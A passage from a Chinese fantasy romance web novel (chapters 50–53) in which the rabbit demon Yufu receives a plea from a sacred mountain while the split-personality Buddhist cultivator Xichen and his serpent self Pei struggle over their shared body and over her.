息尘总是不对她设防的,魂体小兔轻易融入他的身体,玉扶下了命令:“转过来。” 息尘转过来了,但不是被玉扶操控,她的魂体小兔就如蚍蜉撼树,根本影响不了他的意识,最后传递到的只是碎碎念的“转过来转过来转过来……” 也亏息尘心善,并不捏碎她聒噪的小兔,佛经万千,却好似没有一部可止被玉扶掀起的心澜。 一闭眼,便满是少女紧密拥向他的画面。 他无奈看向越发骄纵了的玉扶:“何事?” “我想看看你。”玉扶快乐地趴在池边,她触及了他也会变得奇怪的一面,不再觉得他不可侵犯,她想看息尘,也想息尘看着她。 坏心眼地还想从他身上看到更多被她牵动的情绪。 有趣,喜欢,所以,就是想这样做。 但她又是怂兔子,一将息尘闹得转过了身,便不再过分,提出的问都乖巧许多:“一直泡洗血池的话,我血脉能一直提升吗?” 对玉扶的疑问,息尘只微想了会道:“阿扶,任何妖的血脉都是有承受上限的。” 只一眼他便又别开了视线,少女的阿扶,他不敢多看,即便她有穿着内衫,也几乎浸在水中。 可每一眼,都促使着他更清楚地回忆起她软得像云一样的唇瓣、纤得一掌可握的腰…… 他不得不用说话来掩饰窘迫,也恰好,他近来没少于学宫中查阅各种古籍: “洗血池的效用是在原本妖脉的基础上提升,现世妖距离昔日之境真实存在时期,差距不知多少万年,便是流传血脉也早已稀薄。” “阿扶你身上的鹓扶血脉也是如此。” 也即是说,初始的血脉就决定了洗血池能提升的上限,玉扶继续泡,或许还能提升,但不可能一直提升,可能到了某一阈值,洗血池就失了效用。 息尘说的并不算直白,但他知玉扶能理解,可理解的同时他也怕玉扶为此失落,几乎没有停顿地,他继续说道:“其实,血脉也非一定是越强越好。” “昔日之境中往昔诸大妖,虽大都生来便身负修为,但寿元也大大地减少了,他们越强,便意味着,距离失控不远。” “学宫存在便是在减缓这种失控。” “后世的妖,虽无有天生强悍的血脉,但何尝不是一种幸。” …… 他怎么会有这么多话? 玉扶盯着他张合的唇,眼皮都在打架,但凡他稍偏个眼风给她,也该停了。 她控制不住打了个哈欠,可眼皮却努力地撑着,她赌气地想要看看,他到底能说多久。 然,玉扶的意志力还是抵不过困意,她双手交叠着,趴在池边睡着,脸肉压得溢出,倒全不似醒着时候的骄纵闹气,纯然得天真美好。 息尘口干地松了口气。 他固然唠叨,但也不是尤爱唠叨,只是除了此外,他想不出能平静面对玉扶的方式,也无法面对自己难以平静的心绪,尤其是,他没有对玉扶说实话,阿裴一直存在,也一直在看着他们。 压也压不住活跃的蛇尾便是最好的证明。 “同一人”之论,虽出自他之口,但相斥的意识,真的能完全算作一人吗? 阿裴会对他生出愤怒,而他,也于不知觉中,尝到了何为嫉妒。 息尘苦笑一下,卷着玉扶离开洗血池。 * 息尘安置玉扶睡于榻上,熟睡中的她,柔白恬静,肌肤莹白,只在颊靥上飘着些许红晕。 息尘瞧出了神,日渐妖化更甚的妖躯,常令他有脱离掌控的惶然之感。 他能感觉到本该虚弱的阿裴在极快地恢复,直到此刻,那种急切想冒出尾巴的冲动,仍残留在体内。 这种妖化的躯体感,再也不受控地要超出他的克制,他最后看一眼玉扶,在房内布下结界,寻到无人的竹林—— 失控彻底释放。 庞大的蛇尾取代了人的双腿,眼前结成了模糊一片的阴翳。 他的意识,阿裴的意识,交替地出现,凝结的佛珠一颗一颗地缠绕周身,从胸膛延至蛇尾,收紧时,息尘的意识能得以喘.息,挣开时,阿裴的意识主宰,放、荡地撕开紧裹的衣襟。 妖性、人性,争夺着只有一具的躯体。 蛇尾压倒大片绿竹,蛇腹蠕动,蛇鳞裂开,脑中画面时而是阿裴的蛇尾缠着阿扶的脚踝向上,时而是息尘不反抗地任由阿扶扑到。 嫉妒、不甘、愤恨……种种情绪交织,最后汇聚成了统一的喘.息。 直至曦光落下,竹林方平静,胜出的息尘,眼尾邪异地红,略加感受,体内不同的脉系,融合得并不尽人意。 反倒是罪恶的狼藉,几乎不忍再看,他无法用只是阿裴的情感影响了自身来解释。 从储物中换上一身干净的衣裳,高高束着颈的衣领暂压下了所有汹涌的骇浪。 然,重寻回住处,玉扶不见了。 结界却还在。 他竟没有感应到玉扶的离开,顷刻,神识外放。 玉扶是只胆小的兔子,窝里横是强项,但不明的地方从来不会乱闯乱撞,尤其是她独自时。 惯常修炼的地方并没有踪迹。 曾去过的书阁与学宫也并不在。 昨夜泡过的洗血池,依旧空荡荡。 恐慌的情绪袭上头,昔日之境恍如真实存在的古妖,每一个的实力也皆真实复刻,而玉扶于其中,不过是一只想进步的小兔。 他不管神识是否会撞上厉害的古妖,更放大范围地寻找。 终于,在接近圣山附近寻到玉扶的身影,毫不等待地,疾奔而去。 * 玉扶初提升了血脉,也重回了元婴,她无疑是满足的。 身体充盈的力量,令她充满了活力,她完全是被息尘的唠叨,叨叨得睡着的。 临近曦光初现,身体的习性令她慢慢苏醒,然也是于半梦半醒之际,她听到某种呼唤,就如母亲呼唤孩子,大山呼唤生灵一般,玉扶拒绝不了。 当她彻底清醒时,她已出现在了她也不知是何处的地方,但距她不远,便是巍峨圣洁的高山。 玉扶认得这座山,入妖神古墟前,便是这座山,在连片的火山中仍覆着雪,也是这座山,将她与阿裴吸入了昔日之境中。 更是于昔日之境中,玉扶知晓了这座山的来历,这是诞生第一个妖神的山,山本普通,可越来越多的妖为此产生了希冀,有了朝圣,这山便再也不普通。 它开始生了灵,又有新的妖神于此出现,后来更是以此为中心有了妖神学宫,万千妖不再控制不住自己强大的力量。 它无疑是一座圣山。 息尘同玉扶说过,他们出去的关键,也在这座山,但,为继续维持着昔日之境的稳定,若不到不得已时,息尘并不想强闯。 所以,即便入得了学宫,玉扶还没有这般靠近过这座山。 此刻,她好似被这座山带入了非常奇特的空间,听见了无数哀鸣,山火、妖火相撞,大妖与大妖打斗一片,大地开裂,熔浆吞噬…… 地狱之景莫过如是。 玉扶承受不了这份哀伤与痛苦,抱着头蹲在地上。 她有鹓扶的血脉,据闻,鹓扶是山神一脉后裔,玉扶听姥姥说了非常多相关的传说,也一直以此为目标,可也不知是不是她借由圣山重现的洗血池提升血脉的缘故,她与圣山之间,倏地多出了一份联系。 圣山似乎是在与她说话,甚至祈求她—— 它告诉玉扶,它在妖神为尊的时期,受了妖族的朝圣,故而,当众古妖罹难时,它也企图庇护他们,但死去的古妖实在太多了,它连安息的安宁都不能给到他们。 一直将学宫中的每一妖族都当做自己的孩子的它,为此悲戚,最后,它不惜以山体为载,山灵为媒,纳入了所有妖将要消散的最后一分魂念。 承载着这些,它沉睡日久,天地变幻也无所感,直到被惊醒。 它说,它已经算不上是圣山了,它早已与这些古妖魂念融为了一体,成了永远困于过去的循环。 但是它很幸运,遇到了玉扶。 它希望玉扶寻到它的山体核心,打破它。 即便它说不是圣山了,但这种庞大意识灌输似的沟通,玉扶真的头痛得脑子都要炸了,她眼泪流得满脸都是,努力挤出一个魂体小兔,撞入山体,尝试沟通:“我只有元婴,我接近不了你的。” 昔日之境的神奇玉扶已经领教过,一切回溯的时点,所有的景象甚至是大妖们,都恍若还真实地活着,而且只要在这一方境中,这些大妖的实力还真的不能再真。 按照过去的时点,守在圣山的双圣实力,那是能随意靠近的吗? 她做不到的。 玉扶在摇头。 一阵和缓温柔的风宛如和善的长者,一下一下地拂过玉扶,她好像听到了圣山的笑:“孩子,你会寻来的。” “我的最后一任守护者,曾诞下过一颗蛋,在妖神古墟完全封闭前,它脱离了毁灭的灾难。” “正是未断的传承,令你们来到此。” “双圣不会为难你们的。” 圣山传递的声音越来越小,可它承载的意识实在过于庞大,玉扶接受它沟通的同时,脑中还不断闪过很多很多覆灭画面。 她再忍不了地答应道:“知道了,知道了,我会帮你的,不要再给我分享好多妖怎么死了,呜呜呜呜……我头好痛……” 她只是一只修炼还不到家的小兔妖,那些画面,每一帧都跟带着精神伤害一般,她真的承受不住了。 圣山似乎终于意识到它的沟通给玉扶带来的伤害有多大,它的声音渐渐无声,只有一点轻微环绕的风证明它真的出现过。 也是一瞬的功夫,她被吐出了糟糕的空间,重新回到昔日之境,不远处的圣山,依旧高大,宁静,有着抚平着每一个妖狂躁的力量—— 如果没有让她看到那些可怕画面的话。 玉扶没有立马离开,她抱膝蹲着,怨念地在地上画着什么,缓着心神,也回想圣山说的话。 地上画出的图案,有圣山,还有两条代表双圣的扭扭线,她在边上又加上了一条。 在昔日之境中一些时日,她已经知道就当下的时点,守在圣山的双圣是最后存活的妖始祖,而且还是两条大蛇。 玉扶不难想到半妖的息尘也是蛇。 所以,圣山说的传承还有双圣并不会伤害他们是因为息尘吗? 原来她和息尘被吸入昔日之境并不是偶然吗? 玉扶食指胡乱戳着画出的涂鸦,想得头更痛了,她一点也不擅长想这些乱七八糟的前因后果,也很不喜欢幻境了、昔日之境还有接收到的可怖画面,这些总会令不坚定不坚强的她迷失,即便出来了,也像失去了气力般,想把自己蜷起来。 她将脑袋埋入膝中,努力甩开着那些从圣山意识传达来古妖覆灭画面。 她突然好想息尘,她不见了,也不知道息尘发现没有。 倏地,像是幻听一般的一声急促呼唤,惊得玉扶扭头,望见来人,她不争气地,大颗泪珠啪地落地,使气怪道:“你怎么才来?”《 》 50-60 第51章 娇气可怜的嗓调, 如有风起浪逐之势,掀动息尘心扉。 他寻来时,恰见就是玉扶可怜兮兮地抱着膝, 脸蛋都埋入膝中,惯来冷静的嗓音带上了失而复得的急促。 随着声落, 下一刻他已行到了玉扶面前, 颀长身形先倾下身为玉扶拭去了滑落的泪痕:“阿扶, 莫哭了。” 温和带着无尽怜惜的动作, 玉扶轻易被安抚, 她仰着头,简直要浸溺在他温柔的眸光里,那些血腥可怖的画面, 顷刻得到净化。 她其实也不是经常真哭的, 后知后觉地,玉扶生出了些微的难为情,缓缓垂下视线,才小声道:“我腿麻了。” 息尘呆滞反应一瞬, 微微笑着, 拉玉扶起身。 他笑起来, 本就温柔清和的气质,更为包容了,玉扶耍赖地依着他:“还麻, 动不了。” 明知她是耍赖,可息尘并无法拒绝玉扶, 她是妖,总不觉一些亲密的接触有多超出礼法,而他, 懊悔过,或许从一开始,便不该被玉扶拉入水中,不该纵容了她胡来,直到寻来的前一刻,他甚至仍想着,同玉扶回到寻常的关系。 但这种冷静,还是在玉扶可怜的泪水中被打破。 这些,无一不令他发觉自己对玉扶的心思并不纯粹。 他能做的,似乎只有不过多地去感受独属少女贴来的触感,古板而木讷地当着一个支撑她的柱子。 他听见自己强作镇定的声音:“阿扶,是发生了什么?” 玉扶双手环上息尘的腰,面庞埋入他胸膛地蹭了蹭,熟悉令人安心的味道,渐渐令她恢复了处理息尘问题的情绪,轻轻“嗯”了声:“我见到了圣山。” 此刻那圣山分明就在他们的身后,巍峨,神圣,不可侵犯,息尘略皱了下眉,并没有催促玉扶立马说清,而是放出神识窥探。 强大的气息阻隔了他的窥探,甚至,如同被什么锁定一般,苏醒的妖躯,既莫名地泛上恐惧,又昂然着兴奋的颤栗,恍若叫嚣着去挑战。 这种根植血脉本能反应,息尘一瞬想到圣山之中的双圣,只要仍处在昔日之境中,那便会受此地的制约,双圣在此方境中的强大毋庸置疑。 息尘当即一手揽上玉扶的腰,遁空逃离此处。 强大的神识一遍又一遍扫过了整个妖神学宫,玉扶压在息尘的胸前,乖巧地听着他的心跳。 每当那强大的神识扫过时,玉扶其实也能感受到,倒不是她长进得能与之抗衡了,而是,那神识在他们的身上停留得尤其久,就像是在评估什么一般。 不用猜,玉扶都能想到这神识或许是来自双圣,一次两次,玉扶还觉得忐忑,可一直没有实质性的威压和追来,玉扶估量着可以相信圣山说的话。 一经确认没有危险,她的心神便更松弛地放到了息尘身上,极令人安心的怀抱,她好想把同圣山的遭遇都告诉他。 她分神地想着,一时并没有察觉双圣神识的撤离,直到茫然地就被息尘松开,退离了一个身的距离。 乍然失去的安心怀抱,玉扶不开心地努了努嘴,非要走近一步地杵到息尘的跟前:“我知道了一个和你有关的秘密。” 少女的馨香,方才揽过的温感,息尘无无所适从地又要倒退。 他惯这样,好心肠归好心肠,可也时时抛不开那些清规戒律。 玉扶一直关注着他的反应,眼睫都不眨一下,在息尘动作的一扑身向前。 息尘没有防备地被扑倒。 玉扶半身的力道几乎斜压在了息尘胸膛上,肘弯相叠地压着,漂亮的脸蛋俯看:“佛修真无趣,一点好奇心也没有。” “我直接告诉你吧。” 她满是妥协了地继续道:“我见到的不是现在见到的圣山,而是更未来一点的,嗯就是将我们拉入这昔日之境那时候的,它很痛苦,分享了一部分的记忆画面给我。” “很多血脉强大的大妖们,在争斗,不止有学宫的妖,还有很多像是其他地方失去理智的大妖。” 对这,其实玉扶也辨得不是很清晰,那些画面她也根本不想仔细回想,跳过地总结道:“总之,打得山崩地裂,地火喷发,最后双圣也被卷入,将乱象止步妖神古墟这一隅。” 终于说到了最想说的,她压着息尘的手肘微挪了挪,语气都藏着些神秘:“双圣在完全割裂妖神古墟之前,还送出去了一个蛋。” “你可能是那颗蛋的后代!” 这完全是玉扶的猜测,但她觉得她猜得很接近真相了,脸一点一点地压下,企图得到息尘的肯定:“息尘,你有听我说话吗?你怎么不说我猜得对不对?” 息尘仰面躺着,少女靠得越发近的唇瓣,他似乎已经听不进去她在说什么,也全然感受不到她半支在身上的重量,视线从始至终地跟着她张合的唇瓣,叽里咕噜地说话,热闹,柔软,湿润,漂亮…… 他并不能再继续想下去,他该做出反应,在她下巴尖将将触上时,他不自然地别开了脸:“阿扶,你先起来。” 又是这样的躲避,玉扶赌气地摇头,更用了上半身力气下压:“放你起来,你又要躲我了。” “你为什么总躲我呢?” 玉扶的角度,轻易地与息尘鼻尖相近地面对面,控诉得鼻音哼哼的:“你昨夜还说不讨厌我碰你。” “你是在骗我吗?” “骗”字一出,她眼里泪花晕开似的伤心。 光是看着这样的她,息尘便无法说出拒绝的言语,且,他心中也异常分明,阿扶并未做错任何事,她是妖,天性使然的粘人,至于妖性的失控,又如何能全然怪她的定性? 要怪,只能怪另一个他,没有正确引导阿扶。 “阿扶,我并未骗你。” “只是,青天白日,你我说话,总该循一些礼。” “你先起来。” 他嗓调仍旧温和,但略微带上了些训导的意味,犹如两个人的意识,却有着同一具躯体共享着大部分的记忆。 羞耻,自责,不知该如何面对阿扶,常常磋磨着他的良心,可他也意识到,并不能一味这样下去,至少,该让玉扶学会一些克制。 否则,若是她身边陪同的是旁人呢? 一时,他心口发紧,被这种可能刺激得面上更显严肃。 玉扶敏锐察觉息尘情绪的变化,瞳仁微有些吃惊地缩了缩,在她心里,息尘是瞎好心肠的佛修,他的纵容总是没有下限。 可是接连两日里,她第二次触及了他不可侵犯的一面,她回忆起他清冷带着审度的目光,他分明没有引诱他,但是却快把她的魂勾飞了。 她为他的圣洁着迷,慾望驱使着她拉着他堕落,然而,当下再与他肃容结合,玉扶还是生出了点怯意。 不是对阿裴的那种直接的害怕,而是会不由自主地反思自己是不是哪里又被讨厌的不安。 她单纯的思维并不能想太远,不过,对待人格会转换的佛修,她已经很会审时度势,他凶,她就乖,他好心肠,她就往前试探。 此刻,她乖巧地选择先退一步,从息尘身上起开,坐姿都透着一种“我很乖”的意味。 息尘平静目光与她对上视线,瞬间就接收到她“我已经很乖了”的讯息,他薄唇抿成为一线,无从切入教育地头痛,几乎可想,无论说什么,阿扶都能用“我是妖嘛”来解释她的行为。 他站起身的高度,阴影笼入玉扶,沉默得玉扶心底发虚,仰望的视角,更是遍身的皎皎清冷,犹如神祇临世。 可就是这样不可亵渎的神祇,玉扶渴望更甚,她一下山就遇到了他,他们一个圣洁慈悲,一个妖孽无耻,这种极度的反差,她只是一只在渡情期的小兔妖,怎么可能能抵挡。 玉扶怎么反思,都没有寻出不该接近的理由。 她仰脸观察着息尘,渐渐又壮了胆气,率先开口:“你是想教我循礼吗?” “又是什么兽兽不亲吗?” 玉扶很难接受这种不能触碰的洗脑,忍不住商量:“教其他的可以吗?” 她很丧气地揪着他的衣摆,乖巧坐姿再保持不住地斜靠,仰脸的姿态,要多委屈就有多委屈。 息尘完全没想好要同玉扶讲什么礼,腿部靠来的少女重量,令他呼吸都一滞,他不得不先拉起玉扶:“阿扶,白日不可随意扑人。” 冷淡的声线,非常郑重其事,可也委婉得过分了。 玉扶瞳仁灵动地闪了闪,懂得,这个扑人,应该就是指的息尘,她点头答应,问:“那夜里是可以吗?” 息尘一时没有回答,他对妖的了解已经有了更多的认识,妖的修炼常会在不同的阶段,受原形影响,或受血脉影响,显出不同的需求。 某种意义上,也有点类似人修的心境磨砺,只要度过这种时期,修为或是心境都会有不少的提升,也会更褪去一些兽类的本能。 比起好暴戾杀戮的,玉扶这种已算得上温和,只是,她的自制力实在太差了些。 “不可”二字在息尘的脑中打了个转,也知晓是完全不可能的:“阿扶,佛门有篇心经,可帮你磨砺定性。” “你若有进益实在忍不住时” 古有佛陀以身饲鹰,可他的情形还是略有不同,虽是为激励帮助阿扶,但主动说出来,还是异常难以启齿。 玉扶听到要她学什么心经是很失望的,不过,息尘接下来的话紧紧勾住了她,她一瞬不瞬地盯着不正面瞧她的息尘,祈盼地等着他说完,也惊奇地发现,他又红了耳。 不止是耳,耳后往下的一片肌肤,光是盯着,都仿佛可以感受到滚烫的温度,什么心经啊,她突然好想学。 几乎是在息尘艰难吐出“再寻我”最后几字时,玉扶就点了头。 她是妖,她能有什么定性,她今晚就想学:“那你什么时候开始教我?今晚可以吗?” 玉扶压下急切,软声软气地问。 息尘默了默,答应:“可以。” 玉扶忍不住雀跃地抿唇,笑意随着低头的动作掩藏。 若说跟着阿裴学到了什么的话,那就是以己度人,她不适应阿裴没下限的手段,那息尘是木讷的佛修,也应该是还没有适应已经不是单纯小兔的她,那就慢慢适应好了。 一经想通,她一点也不觉得息尘偶尔露出的疏离伤人了。 她才不是斤斤计较的兔子。 玉扶又活泼地跟在息尘身旁,一会问他要学的是什么心经,一会又担心问:“双圣会不会主动来寻我们?” 息尘:“或许罢。” 第52章 不甚明确的回答。 但对玉扶所告知的秘密, 息尘早有料想。 同阿裴共通的一部分记忆中,狐妖所展现出来的不同寻常,疑点重重, 狐妖从何得知的妖神古墟方位?又如何知晓怎么开启妖神古墟? 还有那些以妖血驱动的诡异法阵,几乎契合了古妖的某种神通。 若不是提前知晓准备, 如何能做到促使几大妖族合力开启妖神古墟? 几乎可以证实, 那个是他母亲的大蛇, 即便不是从妖神古墟中出去的双圣后代, 也必然继承其传承, 所以—— 狐妖和其背后之人,是从妖王身上得到的所有讯息? 息尘眸光暗下,这是他最不想猜想的可能, 却也是最接近事实的可能。 也可想, 要得知这些,需要做些什么。 偶尔,他脑中会闪过碎片般的画面,那些画面, 时而是昏暗无光的地牢, 时而是疼痛不已的抽搐他瞧见了痛苦挣扎的大蛇, 也瞧见脸色煞白的幼年阿裴,被人死死按着抽取血液…… 或正是如此,他无法割舍从躯体中苏醒的妖性, 也接受着躯体的变化。 他沉默停顿步子,目中流露着玉扶看不懂的复杂情绪, 甚至还有一瞬便压下的凶性。 玉扶努力眨了眨眼,几乎以为自己是眼花了,分明是完全不同感觉的阿裴与息尘, 可不知为何,玉扶极少数的时候,会有种他们重合了的错觉。 半妖都是这么复杂的吗? 难怪稀少得连听都没怎么听过。 但玉扶还是担心息尘,她踟蹰着开口:“息尘,你是不是不喜欢当妖?” 除此外,她想不到能解释息尘变色的缘由。 情绪不过一瞬显露,竟就被玉扶察觉,息尘惊讶同时,也发觉自己似乎越发偏离过往定性,他收敛情绪,回答玉扶:“阿扶,有些改变并非我能控制,是人也好,是妖也罢,皆是因果。” 光将他眉目耀得清冷又圣洁,他说这话时,就好像即便变成妖,躯体中存在着另一个意识,他也能接受,他也确实接受了,也一直是玉扶知晓的那个温柔好心肠的佛修。 而且还总将阿裴的坏揽做自己的责任。 玉扶张了张唇,心虚得没再说什么,毕竟她就是仗着他的这种揽责想法,靠近了他。 至于到底是人了,还是妖了,玉扶并不想思考太多,反正,吃到肚子里的才是她的。 * 一整个白日,玉扶没有再等到圣山的联系,也没有等到双圣寻来。 她反而轻松了不少,她才刚恢复修为呢,就要让她去办破坏圣山核心的大事,哪里做得到。 而且,她现在也弄懂了,与她交流的圣山意识,已经不能算作单纯的圣山了,而是这一整个昔日之境的意识。 这个构成是极其复杂的,就像它无法避免给玉扶带来的精神伤害一样,众古妖的濒死意识某种意义上也融入了圣山,故而,它能单独脱离出来与玉扶交流的时间极短。 至于双圣的存在,当下的时点,若要接近圣山,就绕不开他们,而且,作为守护者的双圣能意识到他们其实早就死了吗?也真的能放任她去接近圣山的核心吗? 好吧,即便这些都能解决,她也正好修的山神道,可圣山那么庞大,还是变异那种,它的核心,真的是她能破坏的吗? 玉扶怎么想,都觉得她被圣山核心撞碎的可能性更大。 总之,绕来绕去,最后还是先落在了稳固境界上,恰与息尘要交给她的心经相合。 满满一面墙都是金光闪闪的经文,息尘用灵力给她写就的。 玉扶参悟了一会,双眼就开始发晕,全凭“有进益,就能寻息尘”的念头在吊着,才不至于睡过去,至于“实在忍不住”这一前提条件,她才不管呢。 而此时的息尘,并不同玉扶待在一块,完全分离的妖性与人性,除去意识上的分歧,身体上也显出了很大的问题,不同脉系的融合不得寸进。 眼前阴翳时而显出蜕皮的征兆,时而又被压制得无影无踪。 夜深时,阿裴的意识还会不管不顾地冒出来与他争夺躯体。 今夜如是。 被昔日之境修复的竹林,重新变得狼藉,蛇尾压过倒塌绿竹,窣窣声渐聚集一处,盘旋而拱起的腰腹,蛇鳞漫上了锁骨,臂膀,甚至颊靥。 幽晦的竖瞳于漆黑夜色中显出不一样的阴鸷戾气。 蛇鳞渐从颊靥褪入皮肤之下,收紧的腰线往下,赤1裸出人的双腿,盛如海藻的乌黑长发也遮不住他充满爆发力的身躯。 他容情阴晦,不过几日,他的小兔,背叛了他。 她就那般喜欢“他”,喜欢到当“他”一出现,就毫不犹豫地舍弃了他。 是他给她的还不够多? 还是她本就一直在与他虚与委蛇? 是了,惯会装乖的兔子,根本就是一直在骗他。 牙齿被咬得咯咯作响,几乎想咬死猎物的凶狠,他垂下的手,凭空一招,被收纳的鶠蓝发带出现在手中,上头奇丑抽象的绣纹刺痛了他的眼。 只要他稍稍用力,脆弱的发带即可碎裂成碎布。 然他只是用力捏着,最后带着气地拢起发缠绕,同时,大步行走着,身上也重新披上了衣服。 他轻易闯入息尘留下的结界,或者说这结界本就也认他为主。 真是连人也认不清的废物结界。 裴息尘无差别地对什么都感到愤怒,结界在他身后无声地碎裂,而屋中的少女却无所察地趴伏在床沿,仍睡得香甜。 她的不远处,是满面墙的经文,耀耀金光,亮得她的睡颜也暖色一片。 裴息尘轻嗤俯身,拂开她颊畔的发丝,指腹触碰她睡得暖红的脸蛋,肌肤娇嫩细腻得吹弹可破。 想掐她,还想咬她。 最好吓得她又惊又哭,瑟瑟地发抖。 他想得有些着迷,露出白牙地笑,张开口—— 影子投下巨蛇身形,蛇首悬在少女头顶,如同看守猎物一般的占据姿态,蛇口时而张开,可怖得恍若能将睡梦中的少女整个吞下,时而,蛇首又紧闭,只偶尔嘶嘶吐出分叉的舌,卷过空气中属于少女的香甜。 终于,少女有了苏醒的迹象,发出含糊混沌的嘤咛。 也是一刹的功夫,巨蛇投影消失不见,颀长身形收回最后一点尾巴,他手指顺势撩过少女的发,在她睁眼一霎,转眸笑得温和:“阿扶,醒了,怎在这睡着了?” 玉扶对上他一见就心生好感的微笑,微一怔楞。 息尘? 玉扶对自己突然冒出的怀疑很是诧异,眼前笑得温柔和善的,除了息尘还能是谁,大坏蛋才不会这样对她笑。 她提起的心稳稳回落,开始邀功:“我有在认真学心经。” “我是不小心才学睡着的。” “第一天,要怎么样才算进益呢?背下来算吗?” 什么“安般”、“守意”,还有净不净观的,玉扶真的很难禅悟,她有按息尘教的,专注观察呼吸的出入,可她并禅定不了,更别说收摄散乱的心了。 她满心都是修这些不如息尘让她啃几口稳固的快。 可不学,就没法啃到息尘,她只能另辟蹊径地靠背了,她挺擅长记忆的,下山前就是这样不管是什么先记下来,下山后遇到了就很快明白了。 她轻摇了摇息尘的手,很有撒娇的意味。 裴息尘脸上温和的假面僵了僵,她这是在对谁撒娇呢? 连是谁都分辨不出来的兔子,把他当成了“他”。 裴息尘细细呷着当中的不同,一分一毫地比较着她对谁更用心。 她对息尘说话的态度会更自然,更没有防备,还更—— 主动。 裴息尘呼吸加重,那种又想将该死的兔子整个生吞的念头又涌了出来。 即便再用力地维持假面,也一时仿不出息尘那恶心感的温和来。 玉扶一直等待着息尘的回答,没有错漏他僵硬抽动的唇角,违和又漫了上来,贴近撒娇的动作偷偷地退了几分。 但这点小动作根本没有逃离裴息尘的眼,他笑了,很小的弧度,恶意全部掩藏在清淡而有距离感的温和之后:“全背下来了?那也很不错。” 一个完美的笑。 嗯,息尘就是这样的,即便是肯定,也淡淡的,温和的,但又不乏真诚,玉扶迷惑地看向裴息尘,企图看出些什么不同来,只一瞬间,对上了他明澈宽和的眼。 这哪里像是伪装的啊。 玉扶悄悄地吐了一口气,她真是做贼心虚了,一点点风吹草动就疑神疑鬼地是阿裴回来寻她了。 他还虚弱着呢。 她寻息尘修炼一下又怎么了! 她是妖嘛,不进步怎么去干大事离开圣山呢? 圣山主动寻上她,那就是她的天赋,不管是阿裴还是息尘,说不得之后还要仰仗她呢。 玉扶胆气壮了不少,主动地拉动息尘,软着声线地道:“那有奖励吗?” “我修为涨了嘛,神魂总是饿。” 眼巴巴的目光,饱满微嘟的唇,哪哪都长得和他心意的小兔,说饿的对象却是他最讨厌的人。 裴息尘没有一次感到这样生气,气得已经没有了脾气。 他紧绷着唇,不让更多愤懑情绪流露,在等着看,色兔子到底能对息尘做到哪一步。 她越靠近,他的心便越冷下一分,眼风如刀子,如寒风,俨然一副红尘不染的圣子模样。 玉扶心里没底,总觉得息尘好像有些不太像他,她心忧,到底要有多少进益,才能在寻他的时候不被拒绝,不被用这种侵犯不了的眼神推远? 她要花多久的时间才能悟得了心经? 玉扶挺起的腰肢,丧气地塌了下去,嘟哝:“小气。” “只教一遍,哪有那么快就掌握。” 蔫了的小兔,发髻绒球也显出心情似的萎靡,裴息尘装出息尘温吞不忍的语气:“那阿扶,你待如何?” 得逞的玉扶,狡黠的笑意一闪而逝,她就知道好心肠的佛修不会不管她的,亮闪闪的双眸满是勃勃的朝气看向裴息尘:“你再教教我嘛,一句一句地讲。” 裴息尘不似息尘道德感颇高,他无耻而没下限,倏然从这奇异的扮演中,享受到慢条斯理戏弄猎物的乐趣,他笑着答应:“好。” 笑弯起的眼尾弧度,玉扶又诧异了,息尘笑起来是这样的吗?怎么有点妖啊? 她不敢置信地又去望一眼,那弧度已然平顺了下来。 也不知是不是心理作用,息尘再每念一句经文,玉扶便不受控地留意一下他的眉眼与唇角。 而正是他们在缓慢教学进行的时候,很远很远的山石中,顶出了一个土包。 土包每鼓一下,便有法光亮一下,直到法光失效,从中钻出了个豆豆眼的小蛇,十来寸长,漂亮华丽的蛇鳞直如缩小版的阿裴。 它蛇首喜感地肿着一个包,晕乎几下才稳住了直立的上半身,于地面上爬行得也不甚熟练,左歪一下右歪一下,才寻到感觉地嘶嘶吐着蛇信辨认方向向前—— 第53章 因着那点狐疑的留意, 玉扶发现息尘的面色在一点一点地变得苍白。 他的眼也在一点一点变得阴郁,可是他偏要维持着温和继续同她说着经意。 更可怕了。 玉扶毛毛地被激起了只有面对阿裴时,才会冒出的鸡皮疙瘩。 他掀眼望来, 笑意寻常,语调也寻常:“阿扶, 怎么了?是我哪里我没讲明白?” 玉扶打了个寒颤, 轻轻摇头:“息尘, 你是身体不舒服了吗?面色好白, 我明日再学也不妨的, 不如,休息一下吧。” 贴心的关怀,裴息尘于痛意中感到诡异的畅意, 他的阿扶, 知不知道,她真正想关心的佛修被他剥离了? 削肉拔鳞,识海割裂,终于分开了的意识, 从没让他感到这样痛快轻松过, 即便胸口的剜肉处愈合不了地在发着痛, 也即使他并不能真正地让另一个意识消失。 他能感到他寄在护心鳞中的另一个意识跑了出来,也能感到它的接近,可这一刻, 他们确实是分开了的,而他是获得躯体的胜利者。 他拒绝玉扶的提议:“为何要停, 我讲得不如不好吗?” 玉扶头皮过电般地发麻,好,怎么会不好, 就是好得太熟悉了,同息尘给人的好心肠全然不同的感觉,没有原则的,伺机等待着什么的慷慨的好。 玉扶几乎要猜测,面前的根本不是息尘,而是阿裴。 他伪装成了息尘。 玉扶为自己的猜测,身子控制不住地抖了抖,要真是这样,未免也太可怕了,她宁愿阿裴醒来就直接找她算账,顶多也就被啃一啃,然后被缠一缠尾巴。 反正她是妖嘛,她没有等他有什么好奇怪的? 而且计划赶不上变化,谁能料到洗血池的功效那么管用呢,一下子就帮她冲回原本修为了。 再说,她才没有答应过他什么呢。 毕竟只是一个猜测,玉扶把自己洗脑好,再去看息尘,发现华美圣洁的佛修容色虽苍白,可恰是这份苍白,更削弱了想象中的威胁可能。 就是嘛,这样的息尘怎么可能是阿裴,他念经时的唇好像也很好亲。 着了迷的兔子,裴息尘轻易辨出玉扶的想法,他于削肉拔鳞极端的痛与被背叛的愤懑中,疯狂出一个继续扮演的念头,遂她的意,然后在她动情的时候,告诉她诱错了妖。 随着最后一句经文的讲完,他绽出一抹掩藏着恶意的笑,问玉扶:“菩萨观欲,如吞钩之鱼,如抱薪赴火,亦如践刀锋之蜜阿扶怎么看?” 玉扶下意识看了一眼闪着经文的墙体,确认没有这一句啊?听着还怪危险的,这是提醒她重欲不行吗? 可是:“我不是菩萨啊。” 玉扶道。 息尘心底啧叹一声,色欲熏心的色兔子,活该落到他手里。 “我答得不好吗?”玉扶忐忑,其实她答完就后悔了,这不显得她很没悟性,很没进益么。 可能怎么办呢,她就是这样想的啊,她才不是无悲无喜的菩萨,她是渡情期的妖,妖就是这样的。 她嘟了嘟嘴,委屈巴巴地拉了拉裴息尘的衣袖:“我已经很认真学了,我学的肚子都饿了,眼睛也红了,你不鼓励鼓励我,我会丧气的。” 